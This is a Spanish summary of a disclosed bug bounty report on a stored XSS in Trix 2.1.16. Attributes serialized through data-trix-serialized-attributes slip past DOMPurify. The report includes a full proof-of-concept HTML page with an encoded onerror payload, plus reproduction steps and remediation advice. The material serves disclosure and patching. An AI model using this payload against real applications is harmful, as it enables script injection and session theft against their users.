Reports
BAJA[XSS]#3581911

XSS almacenado en el editor Trix 2.1.16 de Basecamp: atributos serializados que se saltan DOMPurify

Trix 2.1.16 conservaba cualquier atributo data-trix- y, al serializar, aplicaba sin filtrar los atributos guardados en data-trix-serialized-attributes, lo que permitía colar manejadores como onerror en el HTML final.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Trix es el editor de texto enriquecido de código abierto que mantiene Basecamp. En su versión 2.1.16 (la última en el momento del reporte) el investigador encontró un XSS almacenado que nace de la combinación de dos piezas que, por separado, parecen inofensivas:

  • El sanitizador. Trix usa DOMPurify con un hook propio, en src/trix/models/html_sanitizer.js, que obliga a conservar cualquier atributo cuyo nombre empiece por data-trix- (la condición es la expresión regular /^data-trix-/). Es decir, todo lo que lleve ese prefijo pasa el filtro sin mirarse.
  • El serializador. Al convertir el estado interno del editor de nuevo en HTML (por ejemplo al enviar el formulario o al leer editor.value), src/trix/core/serialization.js recupera los atributos estándar que se pierden durante la edición. Los guarda en un atributo especial, data-trix-serialized-attributes, que contiene un JSON de pares nombre-valor. En la serialización ese JSON se parsea y cada par se aplica con el.setAttribute(name, value), sin ninguna comprobación adicional.

El atacante solo tiene que meter un data-trix-serialized-attributes dentro de la propiedad content de un adjunto (data-trix-attachment). DOMPurify lo deja pasar por el prefijo, y luego el serializador lo convierte en atributos reales, incluidos manejadores de eventos como onerror. El HTML que exporta Trix ya lleva el JavaScript dentro, y se ejecuta cuando la aplicación que usa el editor lo muestra.

Según el investigador, es un bypass directo de los arreglos aplicados a dos reportes anteriores sobre Trix: el 2521419 (XSS almacenado en la versión 2.1.1) y el 2819573 (XSS por mutación en la 2.1.8).

Pasos de reproducción

El fallo afecta a cualquier aplicación que integre Trix y, según el reporte, también se puede ver en el entorno de pruebas oficial, https://trix-editor.org/.

  1. Abre en el navegador esta página HTML, que carga Trix 2.1.16 y escribe en la página un texto "copy me" con el adjunto malicioso entre las dos palabras. El botón simula que el backend guarda el HTML del editor y lo pinta en otra página:
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Trix Editor v2.1.16 XSS Demo</title>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
    <h1>Trix Editor v2.1.16 XSS Demo</h1>

    <!--
    The following script simulates rendering user-supplied content that contains the malicious data-trix-attachment with our serialization bypass payload.
  -->
    <script>
        document.write(`copy<figure data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=\\&quot;x\\&quot; data-trix-serialized-attributes=\\&quot;{&amp;quot;onerror&amp;quot;:&amp;quot;alert('XSS IN v2.1.16')&amp;quot;}\\&quot;&gt;&quot;}"></figure>me`);
    </script>

    <h2>Simulate Backend Save & Render</h2>
    <button onclick="triggerXSS()">Trigger XSS</button>
    <div id="output"></div>

    <script>
        function triggerXSS() {
            // 1. Get the serialized HTML output that Trix generated
            var output = document.querySelector("trix-editor").value;
            console.log("Serialized HTML:", output);

            // 2. Simulate the application rendering this saved output on another page
            var div = document.getElementById("output");
            div.innerHTML = output;
        }
    </script>
</body>

</html>
  1. Selecciona y copia el texto copy me de la página.
  2. Pégalo dentro del editor Trix.
  3. Aparece de inmediato un alert, prueba de que se ha ejecutado JavaScript arbitrario.

La pieza clave del payload es el adjunto, que, desescapado, viene a ser una imagen rota con el atributo de Trix que transporta el manejador:

<img src="x" data-trix-serialized-attributes="{&quot;onerror&quot;:&quot;alert('XSS IN v2.1.16')&quot;}">

Impacto

Cualquier aplicación que acepte texto enriquecido de usuarios no confiables con Trix y muestre después el HTML serializado a otras personas queda expuesta a XSS almacenado. Basta con que el atacante consiga que su contenido se guarde: el script se ejecuta en el navegador de quien lo visualice. Con ello, según el investigador, podría robar cookies de sesión, tomar el control de cuentas, redirigir a la víctima a webs maliciosas o realizar acciones en su nombre sin su consentimiento.

El programa calificó la severidad como baja y pagó recompensa, aunque el importe no es público. El reporte se envió el 2 de marzo de 2026, consta como resuelto y se divulgó el 14 de julio de 2026.

Remediación

El reporte no indica qué versión de Trix corrige el fallo ni cómo se arregló. El investigador propuso dos medidas:

  1. **Acotar el hook de DOMPurify.** Sustituir la expresión /^data-trix-/ de src/trix/models/html_sanitizer.js por una lista explícita de atributos permitidos e inofensivos (como data-trix-id).
  2. Volver a sanear lo que se deserializa. En src/trix/core/serialization.js, al restaurar atributos desde data-trix-serialized-attributes, limitar el.setAttribute a atributos seguros (class, src, href) y rechazar de forma explícita los manejadores de eventos (on*), preferiblemente pasando el resultado por DOMPurify antes de reconstruir el DOM.